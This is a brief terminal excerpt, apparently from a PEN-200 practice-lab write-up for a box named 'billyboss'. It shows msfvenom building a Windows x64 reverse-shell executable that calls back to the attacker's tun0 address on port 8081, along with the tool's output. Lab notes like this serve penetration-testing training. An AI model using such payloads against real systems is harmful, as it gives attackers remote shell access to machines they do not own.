msfvenom


┌──(kali㉿kali)-[~/PEN-200/PG_PRACTICE/billyboss]
└─$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=$tun0 LPORT=8081 -f exe -o shell.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 460 bytes
Final size of exe file: 7168 bytes
Saved as: shell.exe

msfvenom generated a reverse shell executable